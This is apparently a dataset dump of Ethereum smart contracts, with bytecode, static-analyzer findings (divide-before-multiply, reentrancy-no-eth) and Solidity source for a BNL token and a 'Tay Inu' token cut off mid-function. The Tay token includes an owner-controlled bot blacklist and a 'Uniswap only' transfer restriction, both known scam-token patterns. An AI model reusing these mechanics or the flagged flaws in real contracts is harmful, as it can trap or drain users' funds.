7c576000838152600b602052604090206002810154600554600190920154610b7592610b6f9190611762565b90611717565b9050610b9c565b6000838152600b6020526040902060020154610b99904290611717565b90505b6005546000848152600b60205260408120549091610bc491610bbe90856117bc565b90611815565b6007546001600160a01b03881660009081526008602052604081205492935091610bf49190610bbe9085906117bc565b9050610c008482611762565b935084610c0f57505050610c1e565b50506000199092019150610b03565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c6557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610cd1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d43576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d4b611450565b33600090815260096020526040902054811115610d745750336000908152600960205260409020545b60008111610dc0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610dd7906001600160a01b031633836116c0565b33600090815260096020526040902054610df19082611717565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e8a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610e92611450565b600a546000805b82811015610ee457336001600160a01b0316600a8281548110610eb857fe5b6000918252602090912001546001600160a01b03161415610edc5760019150610ee4565b600101610e99565b5080610f2d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f57906103e890610bbe90879063ffffffff600160a01b9091048116906117bc16565b90506000610f658583611717565b600354600154919250610f87916001600160a01b039081169133911685611857565b600454600154610fa6916001600160a01b039182169133911684611857565b600754610fb39082611762565b60075533600090815260086020526040902054610fd09082611762565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25050505050565b60065461010090046001600160a01b03163314611072576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b031633146110e6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111611211576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611268576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600254611280906001600160a01b0316333084611857565b611288611450565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461134e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113c2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561141957600080fd5b505afa15801561142d573d6000803e3d6000fd5b505050506040513d602081101561144357600080fd5b5051610e43565b600c5481565b600c54156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b602052604081206001015490919061149e904290611717565b11156114ec576000838152600b6020526040902060028101546005546001909201546114ce92610b6f9190611762565b6000848152600b60205260409020600019600190910155905061150c565b6000838152600b6020526040902060020154611509904290611717565b90505b6000838152600b6020526040812042600282015560055490546115349190610bbe90856117bc565b905060008093505b600a548410156116105761158c600754610bbe60086000600a898154811061156057fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117bc565b90506115ce8160096000600a88815481106115a357fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490611762565b60096000600a87815481106115df57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001939093019261153c565b8461161d575050506106eb565b50506000199092019150611462565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116b85780601f1061168d576101008083540402835291602001916116b8565b820191906000526020600020905b81548152906001019060200180831161169b57829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117129084906118b7565b505050565b600061175983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6f565b90505b92915050565b600082820183811015611759576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117cb5750600061175c565b828202828482816117d857fe5b04146117595760405162461bcd60e51b8152600401808060200182810382526021815260200180611c3b6021913960400191505060405180910390fd5b600061175983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b06565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118b19085906118b7565b50505050565b6118c9826001600160a01b0316611b6b565b61191a576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119585780518252601f199092019160209182019101611939565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119ba576040519150601f19603f3d011682016040523d82523d6000602084013e6119bf565b606091505b509150915081611a16576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118b157808060200190516020811015611a3257600080fd5b50516118b15760405162461bcd60e51b815260040180806020018281038252602a815260200180611c5c602a913960400191505060405180910390fd5b60008184841115611afe5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ac3578181015183820152602001611aab565b50505050905090810190601f168015611af05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b555760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ac3578181015183820152602001611aab565b506000838581611b6157fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611b9f5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611be857805160ff1916838001178555611c15565b82800160010185558215611c15579182015b82811115611c15578251825591602001919060010190611bfa565b50611c21929150611c25565b5090565b5b80821115611c215760008155600101611c2656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220be7118cd2cafe9596cbe5f978fb01c5c5e88846602753f41194e6be36c6e544d64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,311 |
0xa717d0f45652fb430fd84d3d1b6b02e4510102ea
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/BNLToken.sol
contract BNLToken is StandardToken {
string public name = "BitNational Token";
string public symbol = "BNL";
uint8 public decimals = 18;
constructor(uint256 _initialSupply) public {
totalSupply_ = _initialSupply;
balances[msg.sender] = _initialSupply;
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106a7565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a6c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7f565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d11565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610d59565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df7565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611017565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611213565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c757600080fd5b610818826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ab826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610b91576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c25565b610ba4838261129a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610def5780601f10610dc457610100808354040283529160200191610def565b820191906000526020600020905b815481529060010190602001808311610dd257829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e4657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e8257600080fd5b610ed3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f66826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110a882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112a857fe5b818303905092915050565b600081830190508281101515156112c657fe5b809050929150505600a165627a7a72305820f27b4d4a5753b9ddf0ad56f6d8b8b64bfc52a7bc67c585c5929707214e7887700029
|
{"success": true, "error": null, "results": {}}
| 4,312 |
0x1bb74bd764cac14dc32628405a8f01dd42826500
|
/**
*Submitted for verification at Etherscan.io on 2021-07-17
*/
/*
- Developer provides LP, no presale
- No Team Tokens, Locked LP
- 100% Fair Launch
https://t.me/tayinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Tay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tay Inu";
string private constant _symbol = "TAY";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
